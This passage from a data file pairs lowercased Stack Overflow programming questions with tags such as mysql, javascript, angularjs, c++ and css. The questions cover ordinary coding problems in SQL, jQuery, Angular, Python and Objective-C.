2011-11-15         and hra.maileddate is not null         )      inner join screening sall      on(      sall.user_id = users.id       )       inner join screening s1       on(       s1.user_id = users.id        and s1.date between  2011-05-15  and  2011-11-15      )      inner join screening s2     on(        s2.user_id = users.id        and s2.date between  2011-05-15  and  2011-11-15      )      inner join screening s3     on(       s3.user_id = users.id        and s3.date between  2011-05-15  and  2011-11-15      )     inner join screening s4      on(        s4.user_id = users.id        and s4.date between  2011-05-15  and  2011-11-15      )     inner join screening s5     on(        s5.user_id = users.id        and s5.date between  2011-05-15  and  2011-11-15    )     inner join screening s6     on(       s6.user_id = users.id        and s6.date between  2011-05-15  and  2011-11-15    )      where ((s1.cholesterol is null     or s2.ldl is null     or s3.triglycerides is null)     or (s4.glucose is null     and s5.ha1c is null))     and s6.maileddate is null     group by users.id </code></pre>,mysql
how to pass icomparer to sorteddictionary in .net   comparison class:   <pre><code>#pragma strict public class teffectcomparator implements icomparer {     public function teffectcomparator()     {      }     public static function compare (f s)     {         if(!f||!s)             return 0;         var fe=get_var(f  essential );         var se=get_var(s  essential );         var t:boolean=op_greaterthan((fe as tessential) (se as tessential));         if(t==true)             return 1;         return -1;     } } </code></pre>   this produces error:   <pre><code>var s:sorteddictionary.&lt;tessential object&gt; = new sorteddictionary.&lt;tessential object&gt; (new teffectcomparator()); </code></pre>  <blockquote>    assets/effects/terminal/apply_movement.js(21 32): bce0004: ambiguous reference  constructor : system.collections.generic.sorteddictionary..constructor(system.collections.generic.idictionary.)  system.collections.generic.sorteddictionary..constructor(system.collections.generic.icomparer.).  </blockquote>   it seems  that my ide can t distinguish between icomparer and idictionary in this case. why    <pre><code>#pragma strict public class teffectcomparator implements icomparer.&lt;tessential&gt; {     public function teffectcomparator()     {      }     public static function compare (f s)     {         if(!f||!s)             return 0;         var fe=get_var(f  essential );         var se=get_var(s  essential );         var t:boolean=op_greaterthan((fe as tessential) (se as tessential));         if(t==true)             return 1;         return -1;     } } </code></pre>   throws   <blockquote>    assets/scripts/teffectcomparator.js(2 43): bce0138:    system.collections.icomparer  is not a generic definition.  </blockquote>,.net
interpreting text files and using strings as variables <pre><code>public void readfile() {     while(filereader.hasnext())     {         string blankclarification1 = filereader.next();//why java why !         carthage_independent_status = integer.parseint(filereader.next());         string blankclarification2 = filereader.next();         carthage_stability = integer.parseint(filereader.next());         string blankclarification3 = filereader.next();         carthage_ruler_name = filereader.next(); </code></pre>   basic text file interpretation. however it is inefficient and time consuming my question is this  is there a way to take the name of a variable from a text file and its value then make them equivalent in such a way that the variable does not have to be specifically named in the interpretation(but rather declared earlier) and the reader takes the variable name and sets it equivalent to the value next to it     below is the text file   <pre><code>carthage_independent_status 0 carthage_stability 100 carthage_ruler_name dido </code></pre>   of course there is more in it however is it possible to have something like this    <pre><code>string variable = filereader.next(); string value = filereader.next(); variable = value; </code></pre>   is there a way to program this in such a way that it sees variable not as a string  but as a variable and thus saves time and effort  i have seen some threads regarding turning a string into a variable by mapping it  yet nothing i have tried has had the desired effect. i believe there is such a method in php  but then again this is java. if any clarification of the question is needed i ll be happy to oblige i m just naturally bad at articulating myself.,java
to change class of inputs with same id  i want to change similarly class and regarding numbers(among span tags) of all inputs with same id   whichever input with same id is clicked. i cannot find a way to achieve this for days  please help.   <pre><code>div class= something &gt; &lt;input type= button  id= favorite_15  class= low /&gt;(&lt;span id= favoritex_15  &gt;5&lt;/span&gt;) &lt;/div&gt; div class= something &gt; &lt;input type= button  id= favorite_16  class= medium /&gt;(&lt;span id= favoritex_16  &gt;2&lt;/span&gt;) &lt;/div&gt; div class= something &gt; &lt;input type= button  id= favorite_17  class= low /&gt;(&lt;span id= favoritex_17  &gt;11&lt;/span&gt;) &lt;/div&gt; div class= something &gt; &lt;input type= button  id= favorite_15  class= low /&gt;(&lt;span id= favoritex_15  &gt;5&lt;/span&gt;) &lt;/div&gt; div class= something &gt; &lt;input type= button  id= favorite_18  class= medium /&gt;(&lt;span id= favoritex_18  &gt;9&lt;/span&gt;) &lt;/div&gt; div class= something &gt; &lt;input type= button  id= favorite_18  class= medium /&gt;(&lt;span id= favoritex_18  &gt;9&lt;/span&gt;) &lt;/div&gt;   $(document).ready(function(){     $( .low ).click(function(){         var reference = this;         var id = this.id;           var split_id = id.split( _ );         var text = split_id[0];         var postid = split_id[1];           $.ajax({             url:  total.php                   type:  post               data: {postid:postid}              datatype:  json               success: function(data){                 var favoritex = data;                 $( #favoritex_ +postid).text(favoritex);                        $(reference).removeclass( low );                  $(reference).addclass( high );              }         });     }); }); </code></pre>   already for exaple  input divs which (id= favorite_15 )    when i click on first; the number and the class of first changes as it s supposed to be  but neither class nor number of second  one changes     when i click on second; the number of first changes but second one does not change  the class of second changes but the first one does not :)    using total.php  i update  number  value in db  and get current value. thanks in advance,javascript
mixing  untyped  operator new and  typed  delete  i want to make a class factory that can create classes knowing nothing about them (eg no headers included). i created a factory class with map  that stores info about classes (sizeof and pointer to static method) by strings ( map(string  mystruct) )  which is filled from each class.    when factory is producing a class  it allocates raw memory and calls static method  which then calls the default constructor on that memory:   <pre><code>void *ptr = operator new(classsize); classccaller(ptr);//void (*classccaller)(void*) </code></pre>   then inside the static method of that class the following code is executed:   <pre><code>new (ptr) someclassconstructor(); </code></pre>   the produced class is then put in some container.    question - is it ok to delete classes  created that way  by   <pre><code>delete p;//someclass *p; </code></pre>   or should i manually call destructor and use operator delete on untyped pointer,c++
when counting the number of records per day  how do i include the days that have zero records   i have a query that tell me how many records were created each day  but if there are no records created on a day then the query does not list the date and zero amount.     <img src= https://i.stack.imgur.com/bmkfe.png  alt= example >    how do i include those dates    <pre><code>select convert(varchar  createddate  101) as  date   count(result_id) as  results  from results where createddate &gt;=dateadd(day datediff(day 0 getdate())- 90 0) and verified = 1 group by convert(varchar  createddate  101) order by  date  desc </code></pre>,sql
angular - show as html in repeat block - do i need a filter   my api santizies and inputs coming in  so if i type:    <code>green &amp; blacks</code> its saved as <code>green &amp;amp; blacks</code> and subsequently thats how its appearing on my website.    now i m using <code>ng-repeat</code> where that text is displayed so i have something like:    <code>{{item.chocolate}}</code>    my question how do i get it to display as it should be <code>green &amp; blacks</code>.    do i need to write a custom filter then use it like or is there some simple built in way     thanks.,angularjs
rails: if certiain value in form is selected  then populate another text_field  there is probably a simple solution for this  however  i couldn t find it.    i have a simple form where i have state select box &amp; site text_field:    <code>_form.html.erb</code>   <pre><code>&lt;div class= field &gt;   &lt;%= f.label :state   state  %&gt;&lt;br&gt;   &lt;%= f.select :state  [[ nsw ]  [ vic ]  [ sa ]  [ wa ]  [ qld ]] %&gt; &lt;/div&gt; &lt;div class= form-group &gt;   &lt;%= f.label :site   site %&gt;&lt;br&gt;   &lt;%= f.text_field :site %&gt; &lt;/div&gt; </code></pre>   i would really like to be able to select  vic  (a state in australia) and then due to the fact that  vic  was selected  the :site text_field is automatically populated with another value such as a site name.     for example:  vic  state is selected ->  melbourne  site is populated in the text_field on the form (in :site)    i have played around a bit with some example javascript that i have found on the web which seems to update some text on the screen when a certain value is chosen in a select box  however  i cannot seem to form an  if  argument that states: if  vic  selected  then populate text_field of :site with  melbourne .    thanks in advance.    <code>code for javascript that changes to the value selected:</code>   <pre><code>&lt;script src= http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js  type= text/javascript &gt;&lt;/script&gt;  &lt;div id= text_to_be_changed &gt;&lt;%= @day_of_week %&gt;&lt;/div&gt; &lt;%= select_tag :days  options_for_select([ monday    tuesday ])  :id =&gt;  select_days  %&gt;  &lt;script&gt; $(document).ready(function(){     $( #select_days ).change(function() {         $( #text_to_be_changed ).html($(this).val());     }); }); &lt;/script&gt; </code></pre>,ruby-on-rails
search result in google  in the image below i have a search results from google. i wonder what this type of detailed search result is called and how it s done  thanks!    <img src= https://i.stack.imgur.com/qfrir.jpg  alt= search result from google >,html
how to get key values from object in js  i have object which contains list of values like key=value. how to get key and value in js.    <pre><code>[object { name1= value1    name2= value2   }] </code></pre>   thanks in advance,javascript
aggregate data tables  i am building a front-end to a largish db (10 s of millions of rows). the data is water usage for loads of different companies and the table looks something like:   <pre><code>id | company_id | datetime            | reading | used | cost ============================================================= 1  | 1          | 2012-01-01 00:00:00 | 5000    | 5    | 0.50 2  | 1          | 2012-01-01 00:01:00 | 5015    | 15   | 1.50 .... </code></pre>   on the frontend users can select how they want to view the data  eg: 6 hourly increments  daily increments  monthly etc. what would be the best way to do this quickly. given the data changes so much and the number of times any one set of data will be seen  caching the query data in memcahce or something similar is almost pointless and there is no way to build the data before hand as there are too many variables.    i figured using some kind of agregate aggregate table would work having tables such as <code>readings</code>  <code>readings_6h</code>  <code>readings_1d</code> with exactly the same structure  just already aggregated.    if this is a viable solution  what is the best way to keep the aggregate tables upto date and accurate. besides the data coming in from meters the table is read only. users don t ever have to update or write to it.    a number of possible solutions include:    1) stick to doing queries with group / aggregate functions on the fly    2) doing a basic select and save   <pre><code>select `company_id`  concat_ws(     date(`datetime`)   23:59:59 ) as datetime   max(`reading`) as reading  sum(`used`) as used  sum(`cost`) as cost  from `readings` where `datetime` &gt;  $lastupdatedatetime  group by `company_id` </code></pre>   3) duplicate key update (not sure how the aggregation would be done here  also making sure that the data is accurate not counted twice or missing rows.   <pre><code>insert into `readings_6h` ...  select from `readings` ....  on duplicate key update .. calculate... </code></pre>   4) other ideas / recommendations     i am currently doing option 2 which is taking around 15 minutes to aggregate +- 100k rows into +- 30k rows over 4 tables (_6h  _1d  _7d  _1m  _1y)    <strong>tl;dr what is the best way to view / store aggregate data for numerous reports that can t be cached effectively.</strong>,mysql
how to copy project s file to app s document folder   i d like to make a folder which has a file in myapp.app/document folder by using nsfilemanager. (myapp is my custom app.)    so  i copied img_0525.jpg (for test) to project s folder.    and then trying to copy it from project s folder to myapp.app/document folder.    but i have no idea how to specify the path name. (source and destination path)    would you let me know how    <pre><code>- (void)viewdidload {     [super viewdidload];     // do any additional setup after loading the view  typically from a nib.      [self generatetablecontents];  }   - (void)generatetablecontents {      nsfilemanager * filemanager = [nsfilemanager defaultmanager];     nsarray *appsdirectory = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes);     nsstring *documentpath = [appsdirectory objectatindex:0];     nslog(@ documentpath : %@   documentpath);      [filemanager changecurrentdirectorypath:documentpath];     [filemanager createdirectoryatpath:@ user_list1  withintermediatedirectories:yes attributes:nil error:nil];      // i m trying to copy img_0525.jpg to myapp.app/document/user_list1 folder.     [filemanager copyitematpath:&lt;#(nsstring *)srcpath#&gt; topath:&lt;#(nsstring *)dstpath#&gt; error:&lt;#(nserror * *)error#&gt;];   } </code></pre>   <img src= https://i.stack.imgur.com/4ptdd.png  alt= enter image description here >,objective-c
how to create 2 asp.net web form applications in the same website each in different subfolder   i m creating multiple small asp.net web forms applications i want on my host each project of those to run in different subfolders for the root directory of my host. when i puplish each project to different subfolders of the root directory all of them dont work. the only one that works is the one at the root directory. i think this issue is related to web.config. i want to ask is there a way to run each application of those in different subfolder without creating other websites,asp.net
access a templatized nested class function and object in another class  i have two header files.    one of the header files is <strong><em>tree.h</em></strong> which has a templatized class. it contains another class of  iterator  as well.    <pre><code> template &lt;typename key  typename value&gt;  class tree  {     public:     class iterator     {        public:        //...        };     iterator find(const key&amp; key) const;     //....     }; </code></pre>   i have another header file of <strong><em>forest.h</em></strong> that in which the forest class inherits tree class from tree.h file.    <pre><code> template&lt;typename key  typename value&gt;   class forest : public tree&lt;key  value&gt;  {     //...     //iterator find(const key&amp; k);  // overloading function      //iterator it;                  // an object of iterator      //...  } </code></pre>   i need help with implementing the commented part of the code in forest class  however  i don t know how to do access tree s nested class stuff (because of templates). i tried doing it with typename but wasn t successful.,c++
angularjs - templates : nginclude directive  my templates contain js  as they are called js is not executed  you have an idea please.    for example in my js file script.js  i have methods that apply to html elements in my templtes and it does not work  an idea please.    example :    index.html   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;     &lt;meta charset= utf-8 &gt; &lt;/head&gt; &lt;body ng-app&gt;     &lt;ng-include src=  header.html  &gt;&lt;/ng-include&gt;     &lt;script src= angular.js &gt;&lt;/script&gt;     &lt;script src= jquery.js &gt;&lt;/script&gt;     &lt;script src= script.js &gt;&lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   header.html   <pre><code>&lt;div id= header &gt; &lt;div id= logo &gt;angularjs&lt;/div&gt; &lt;div id= nav &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>   script.js   <pre><code>$(document).ready(function(){     $( #nav ).html( &lt;ul&gt;&lt;li&gt;&lt;a href=  &gt;link&lt;a&gt;&lt;/li&gt;&lt;/ul&gt; ); }); </code></pre>   the script execute well  i feel it does not find the element div#nav.,angularjs
"half size for css sprite  i have a css sprite which shows country flags in 32px vertically stacked.     i am trying to reduce the size to 16px with this code but the flag is not reduced to 16px. what could be wrong here     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.flag {
   display: inline-block;
   height: 16px;
   width: 16px;
   vertical-align: text-top;
   line-height: 16px;
   background-size: 50% 50%;
   background: url(../images/flags.png) no-repeat;
 }
 
 .it {
   background-position: 0 -1920px;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;span class= flag it &gt;&lt;/span&gt;</code></pre>
 </div>
 </div>",css
ruby block iteration  i got confused about the iteration in ruby.in the following code i wrote  i expected that the two paths print out should be the same. but actually they are not. seems the path was changed in the for loop.     anything wrong in my code  thanks   <pre><code>def one_step_search(dest paths)   direction = %w(north east south west)   new_paths = []   paths.map do |path|      print  original path is:       print_path path      curr_room = path.last     for i in 0..3       new_path = path       if !curr_room.send( exit_#{direction[i]} ).nil          next_room_tag = curr_room.send( exit_#{direction[i]} )[0]          next_room = find_room_by_tag(next_room_tag)         if !new_path.include (next_room)  # don t go back to the room visited before           new_path &lt;&lt; next_room           new_paths &lt;&lt; new_path             print  new path is:             print_path path           return new_paths if dest.tag == next_room_tag         end       end     end   end    return new_paths end </code></pre>,ruby-on-rails
how i can change the normal restapi into http post request in angularjs  how i can change the normal restapi into http post request in angularjs     i want to send this url as $http - post request in angularjs in function.    <a href= http://localhost:3001/ams/v2/folder name=samplecccccc  rel= nofollow >http://localhost:3001/ams/v2/folder name=samplecccccc</a>    my code:   <pre><code>$http.post( http://localhost:3001/ams/v2/folder name=samplecccccc   data  config) .success(function(data  status  headers  config) {     console.log( server request is sending ); }) .error(function(data  status  header  config) {     console.log( server request is not sending ); }); </code></pre>   error that i am getting:   <pre><code>error: data is not defined $scope.ok@http://localhost:3000/app/components/assetmanagement/controllers/library.foldercreation.js:76:6 anonymous/fn@http://localhost:3000/bower_components/angular/angular.js line 13275 &gt; function:2:194 @http://localhost:3000/bower_components/angular-touch/angular-touch.js:478:9 $rootscopeprovider/this.$get&lt;/scope.prototype.$eval@http://localhost:3000/bower_components/angular/angular.js:15922:16 </code></pre>   but  it is not working. any idea please,angularjs
python loading package global config externally  i have a package called lib. what i want to achieve is to load some config from  a yaml file in the main.py and set the package config to that where the package config would be globally accessible. note that i do not want to load the yaml file from within my package  but want to load it in main.py and pass it in. the problem is that the fire.py still sees an empty dictionary. please explain why and how to fix it.   <pre><code>. └───lib └───lib/__init__.py └───lib/fire.py └───config.yaml └───main.py </code></pre>   main.py:   <pre><code>import yaml import os import lib.fire as fire import lib base_dir = os.path.dirname(os.path.realpath(__file__)) file= open( %s/config.yaml  % base_dir   r ) config = yaml.load(stream) lib.set_config(config) file.close() fire.start() </code></pre>   <strong>init</strong>.py:   <pre><code>config = {}  def set_config(data):     global config     config = data </code></pre>   fire.py   <pre><code>from . import config  def start():     print config </code></pre>,python
alter several alternative substrings to another substring in single mysql query  is there an opportunity to use such a query in mysql for substring replacement as below but for several words instead of single  a     <pre><code>update table1 set field = replace ( a bb ccc dddddd eeeeeee    a    z ) </code></pre>   i mean to look for  a  or  bb  or  ccc  and replece all of them to  z  instead of making several queries changing  a  to  bb  and  ccc   thank you,mysql
angularjs function from button in loop  i got a problem when i try to access a function button from a looped list. my html looks like this:   <pre><code>&lt;div data-ng-app= horseapp &gt;     &lt;div data-ng-controller= horsectrl &gt;         &lt;form&gt;             &lt;div id= conreqsend  class= cont-c  ng-init= getrequest() &gt;                 &lt;h4 id= cmglbl &gt;skicka förfrågan&lt;/h4&gt;                 &lt;div id= boxincmg &gt;                     &lt;div id= cmgbtn &gt;                     &lt;br /&gt;                     &lt;b&gt;mottagna&lt;/b&gt; &lt;input type= radio  name= type  ng-model= type  value= to  checked= true &gt;                      &lt;b&gt;skickade&lt;/b&gt; &lt;input type= radio  name= type   ng-model= type  value= from  &gt;                     &lt;br /&gt;                         &lt;input type= button  value= hämta  data-ng-click= getrequest()  /&gt;                         &lt;input type= button  value= skicka ny  data-ng-click= gotopage( reqhorsecon )  /&gt;                     &lt;/div&gt;             &lt;div id= respond  class= cont-c  &gt;&lt;/div&gt;             &lt;/div&gt;         &lt;/form&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   the i got my angularjs:   <pre><code>var horseapp = angular.module( horseapp   [ angularlocalstorage ]);  horseapp.controller( horsectrl   [ $scope    $http    $timeout   function       ($scope  $http  $timeout   storage)  { $scope.type =  to ;  $scope.getrequest = function () {     var token = localstorage.getitem( token );     var id = localstorage.getitem( id );     var datainput =     ({         id: id          type: $scope.type          read:  all      });   $http({         method:  post           url:  http://localhost:8908/api/horse/req           data: datainput          contenttype:  application/json           headers: { authorization :  bearer   + token}     })         .success(function (data) {             var respond = document.getelementbyid( respond );             respond.innerhtml =   ;             var loopdata =   ;             var length = data.length;                if($scope.type ==  to )             {                 for (var i = 0; i &lt; length; i++)                  {                     var x = data[i].id;                     loopdata +=  &lt;label&gt;häst id   + data[i].horseid +  &lt;/label&gt; &lt;label&gt;från id  + data[i].useridfrom +  &lt;/label&gt; &lt;input type= button  value= accept  data-ng-click= accept(  +    + x +   )  +   /&gt; &lt; &lt;br /&gt; ;                 }             }             else if($scope.type ==  from )             {                 for (var i = 0; i &lt; length; i++)                  {                     loopdata +=  &lt;label&gt;häst id   + data[i].horseid +  &lt;/label&gt; &lt;label&gt;från id  + data[i].useridfrom +  &lt;/label&gt; &lt;label&gt; ta bort&lt;/label&gt;  &lt;br /&gt; ;                 }             }             respond.innerhtml = loopdata;         })          .error(function (error) {         }); }   $scope.accept = function (id) {     var token = localstorage.getitem( token );     var datainput =     ({         id: id          type:  accept      });  $http({         method:  post           url:  http://localhost:8908/api/horse/connect           data: datainput          contenttype:  application/json           headers: { authorization :  bearer   + token}     })         .success(function (data) {         })          .error(function (error) {         }); }    $scope.gotopage = function (page) {     window.open( ../www/  + page + .html    content ); }  }]); </code></pre>   my problem is that accept button from the loop don t run the accept function at all. i m kind of new to angularjs and maybe i m doing this whole thing in the wrong way.    [solved code]    fix to the html (still don t get why i need both id name)   <pre><code> &lt;div id= respond  class= cont-c  &gt;              &lt;ul&gt;                 &lt;li ng-repeat= (id name) in items &gt; --- {{name.date}} --- {{name.horseid}}&lt;input type= button  value= godkänn  data-ng-click= accept(name.id) /&gt;&lt;/li&gt;               &lt;/ul&gt;             &lt;/div&gt; </code></pre>   and the fixed angular part:   <pre><code>$scope.items = {}; //top of controller  //in $http call .success(function (data) {  var reqlist = [];             var length = data.length;                for (var i = 0; i &lt; length; i++)              {                 var reqdata = {id: data[i].id  date: data[i].date  horseid:   data[i].horseid }                 reqlist.push(reqdata);              }              $scope.items = reqlist; </code></pre>,angularjs
video game bookings datastore  the assigned homework problem needs a function to store a user-selected video game. this is a small school project  and i was wondering what would the best way to store the information. the program must access the video game bookings  but i think a database is a little overblown for such a small task.    what would you do,java
how can i highlight a uitableviewcell  i d like very much to temporarily highlight a uitableviewcell to draw attention to the fact that the containing data has changed.    there is a uitableviewcell method: -sethighlighted:(bool) animated:(bool)  but i can t make it do anything     here is the relevant part of the view controller:   <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {   uitableviewcell *cell;   switch (indexpath.section) {     case 0: {      if (indexpath.row == 0) {     cell = [[uitableviewcell alloc ] initwithstyle:uitableviewcellstyledefault                                     reuseidentifier:@ currentloc ];     cell.accessorytype = uitableviewcellaccessorynone;       cell.textlabel.text = @ this is the special cell ;     }     [cell sethighlighted:yes animated:yes];     [cell sethighlighted:no animated:yes];      //[cell setneedsdisplay];    } else {     cell = [[uitableviewcell alloc] initwithstyle:uitableviewcellstyledefault                                    reuseidentifier:@ setlocautomatically ];     cell.accessorytype = uitableviewcellaccessorynone;     cell.textlabel.text = @ foo ;    } } break; case 1: {   cell = [[uitableviewcell alloc ] initwithstyle:uitableviewcellstyledefault                                  reuseidentifier:@ selectcity ];   cell.accessorytype = uitableviewcellaccessorydisclosureindicator;   if (indexpath.row == 0) {     cell.textlabel.text = @ select a bar ;   } else {     cell.textlabel.text = @ select a baz ;   } } break;   }   [cell autorelease];   return cell; } </code></pre>   see the [cell sethighlight...] above for my attempt.    much to my frustration  the cell doesn t highlight and i haven t figured out any way to make it work.    thank you     carl c-m,iphone
unable to iterate the slab fields  if i click on  add slab  the fields will appear and i am going to enter wrong values it should show validations  yes its coming properly. if i click  add slab  once again and entered wrong values it s not showing the validation second time. iteration is not happening  please help me.   <pre><code>function validatecommissionpercent() {     var commreg =  ^[0-9]*\. [0-9]+$ ;     var status = true;      var commissionpercentval = jquery( #commissionpercentid ).val();     var commissionminamountval = jquery( #commissionamountid ).val();      if (jquery( #commissionpercentid ).val().match(commreg)) {          jquery( #commissionpercenterrmsg ).hide();     } else {          jquery( #commissionpercenterrmsg ).text( invalid entry  );         jquery( #commissionpercenterrmsg ).show();         status = false;     }      if (jquery( #commissionamountid ).val().match(commreg)) {          jquery( #commissionminamounterrmsg ).hide();     } else {          jquery( #commissionminamounterrmsg ).text( invalid entry  );         jquery( #commissionminamounterrmsg ).show();         status = false;     }     if (commissionpercentval &lt; 0) {          jquery( #commissionpercenterrmsg ).text( -ve values are not allowed  );         jquery( #commissionpercenterrmsg ).show();         status = false;      } else if (status == true) {         jquery( #commissionpercenterrmsg ).hide();     }      if (commissionminamountval &lt; 0) {          jquery( #commissionminamounterrmsg ).text( -ve values are not allowed  );         jquery( #commissionminamounterrmsg ).show();         status = false;      } else if (status == true) {         jquery( #commissionminamounterrmsg ).hide();     }       var commissionpercent1 = jquery( #commissionpercentid ).val();     var commissionminamount1 = jquery( #commissionamountid ).val();        var commisiondataarray = commissionpercent1.split( . );     var commissionamountarray = commissionminamount1.split( . );        var prefixnum = commisiondataarray[0];     var suffixnum = commisiondataarray[1];        var prefixamountnum = commissionamountarray[0];     var suffixamountnum = commissionamountarray[1];        if (prefixnum != null || prefixamountnum != null) {           if (suffixnum !=    &amp;&amp; suffixnum != null &amp;&amp; suffixnum.length &gt; 2) {              jquery( #commissionpercenterrmsg ).text( should accept only 2 decimal values );             jquery( #commissionpercenterrmsg ).show();             status = false;          }         if (suffixamountnum !=    &amp;&amp; suffixamountnum != null &amp;&amp; suffixamountnum.length &gt; 2) {              jquery( #commissionminamounterrmsg ).text( should accept only 2 decimal values );             jquery( #commissionminamounterrmsg ).show();             status = false;         }       } else {         if (suffixnum.length &lt;= 2) {             if (status == true || status ==  true ) {                  jquery( #commissionpercenterrmsg ).text(  );                 jquery( #commissionpercenterrmsg ).hide();             }          }         if (suffixamountnum.length &lt;= 2) {              if (status == true || status ==  true ) {                  jquery( #commissionminamounterrmsg ).text(  );                 jquery( #commissionminamounterrmsg ).hide();             }          }     }      return status; }  function validateslabflag() {     var commreg =  ^[0-9]*\. [0-9]+$ ;     var status = true;      var startingamountval = jquery( #said ).val();     var endamounttval = jquery( #eaid ).val();     var fixedamountval = jquery( #faid ).val();     var percentageval = jquery( #pid ).val();     var maximumamountval = jquery( #maid ).val();      if (jquery( #said ).val().match(commreg)) {         if (status == true) {             jquery( #saerrmsg ).hide();         }     } else {          jquery( #saerrmsg ).text( invalid entry  );         jquery( #saerrmsg ).show();         status = false;     }     if (jquery( #eaid ).val().match(commreg)) {         if (status == true) {             jquery( #eaerrmsg ).hide();         }     } else {          jquery( #eaerrmsg ).text( invalid entry  );         jquery( #eaerrmsg ).show();         status = false;     }     if (jquery( #faid ).val().match(commreg)) {         if (status == true) {             jquery( #faerrmsg ).hide();         }     } else {          jquery( #faerrmsg ).text( invalid entry  );         jquery( #faerrmsg ).show();         status = false;     }     if (jquery( #pid ).val().match(commreg)) {         if (status == true) {             jquery( #perrmsg ).hide();         }     } else {          jquery( #perrmsg ).text( invalid entry  );         jquery( #perrmsg ).show();         status = false;     }     if (jquery( #maid ).val().match(commreg)) {         if (status == true) {             jquery( #maerrmsg ).hide();         }     } else {          jquery( #maerrmsg ).text( invalid entry  );         jquery( #maerrmsg ).show();         status = false;     }      if (startingamountval &lt; 0) {          jquery( #saerrmsg ).text( -ve values are not allowed  );         jquery( #saerrmsg ).show();         status = false;      } else if (status == true) {         jquery( #saerrmsg ).hide();     }      if (endamounttval &lt; 0) {          jquery( #eaerrmsg ).text( -ve values are not allowed  );         jquery( #eaerrmsg ).show();         status = false;      } else if (status == true) {         jquery( #eaerrmsg ).hide();     }     if (fixedamountval &lt; 0) {          jquery( #faerrmsg ).text( -ve values are not allowed  );         jquery( #faerrmsg ).show();         status = false;      } else if (status == true) {         jquery( #faerrmsg ).hide();     }     if (percentageval &lt; 0) {          jquery( #perrmsg ).text( -ve values are not allowed  );         jquery( #perrmsg ).show();         status = false;      } else if (status == true) {         jquery( #perrmsg ).hide();     }     if (maximumamountval &lt; 0) {          jquery( #maerrmsg ).text( -ve values are not allowed  );         jquery( #maerrmsg ).show();         status = false;      } else if (status == true) {         jquery( #maerrmsg ).hide();     }     var saval1 = jquery( #said ).val();     var eaval1 = jquery( #eaid ).val();     var faval1 = jquery( #faid ).val();     var pval1 = jquery( #pid ).val();     var maval1 = jquery( #maid ).val();      sadataarray = saval1.split( . );     eadataarray = eaval1.split( . );     fadataarray = faval1.split( . );     pdataarray = pval1.split( . );     madataarray = maval1.split( . );      var pn1 = sadataarray[0];     var sn1 = sadataarray[1];      var pn2 = eadataarray[0];     var sn2 = eadataarray[1];      var pn3 = fadataarray[0];     var sn3 = fadataarray[1];      var pn4 = pdataarray[0];     var sn4 = pdataarray[1];      var pn5 = madataarray[0];     var sn5 = madataarray[1];       if (pn1 != null || pn2 != null) {         if (sn1 !=    &amp;&amp; sn1 != null &amp;&amp; sn1.length &gt; 2)          {              jquery( #saerrmsg ).text( should accept only 2 decimal values );             jquery( #saerrmsg ).show();             status = false;          }         if (sn2 !=    &amp;&amp; sn2 != null &amp;&amp; sn2.length &gt; 2) {             jquery( #eaerrmsg ).text( should accept only 2 decimal values );             jquery( #eaerrmsg ).show();             status = false;         }     } else {         if (sn1.length &lt;= 2) {             if (status == true || status ==  true ) {                 jquery( #saerrmsg ).text(  );                 jquery( #saerrmsg ).hide();             }         }         if (sn2.length &lt;= 2) {             if (status == true || status ==  true ) {                 jquery( #eaerrmsg ).text(  );                 jquery( #eaerrmsg ).hide();              }         }     }     if (pn3 != null || pn4 != null) {         if (sn3 !=    &amp;&amp; sn3 != null &amp;&amp; sn3.length &gt; 2)          {              jquery( #faerrmsg ).text( should accept only 2 decimal values );             jquery( #faerrmsg ).show();             status = false;          }         if (sn4 !=    &amp;&amp; sn4 != null &amp;&amp; sn4.length &gt; 2) {             jquery( #perrmsg ).text( should accept only 2 decimal values );             jquery( #perrmsg ).show();             status = false;         }     } else {         if (sn3.length &lt;= 2) {             if (status == true || status ==  true ) {                 jquery( #faerrmsg ).text(  );                 jquery( #faerrmsg ).hide();             }         }         if (sn4.length &lt;= 2) {             if (status == true || status ==  true ) {                 jquery( #perrmsg ).text(  );                 jquery( #perrmsg ).hide();              }         }     }     if (pn5 != null) {         if (sn5 !=    &amp;&amp; sn5 != null &amp;&amp; sn5.length &gt; 2)          {              jquery( #maerrmsg ).text( should accept only 2 decimal values );             jquery( #maerrmsg ).show();             status = false;          }      } else {         if (sn5.length &lt;= 2) {             if (status == true || status ==  true ) {                 jquery( #maerrmsg ).text(  );                 jquery( #maerrmsg ).hide();             }         }      }     return status;  } </code></pre>,jquery
keeping two div the same length  i have two divs  main and side that i want to ensure stay the length of whichever is longer.     at the moment  the main is longer than the side  how can i make them stay the same height  depending on the content    <pre><code>#main{ width:818px; padding:20px; float:left; background-color:white; border-top-left-radius:20px; border-left:1px solid #909090; border-top:1px solid #909090; }  #side{ float:left; width:230px; padding:20px; background-color:#fef5ca; border-top:1px solid #909090; border-right:1px solid #909090; } </code></pre>   thanks.,css
sql db calculation moving summary‏‏‏‏‏  i would like to calculate moving summary‏‏‏‏‏:   <pre> total amount:100 first receipt: 20 second receipt: 10 </pre>   the first row in calculation column is a difference between total amount and the first receipt: 100-20=80    the second row in calculation column is a difference between the first calculated_row and the first receip: 80-10=70    the presentation is supposed to present receipt_amount  balance:   <pre> receipt_amount | balance 20 | 80 10 | 70 </pre>   i ll be glad to use your help thanks :-),sql
external integer constant  this is working fine but it does produce a warning:    <code>extern int const screen_width;</code>    need i be concerned about doing this  it functions exactly as intended.    the warning i get is:    <code>screen_width initialized and declared extern</code>    and    <code>extern variable has an initializer</code>,objective-c
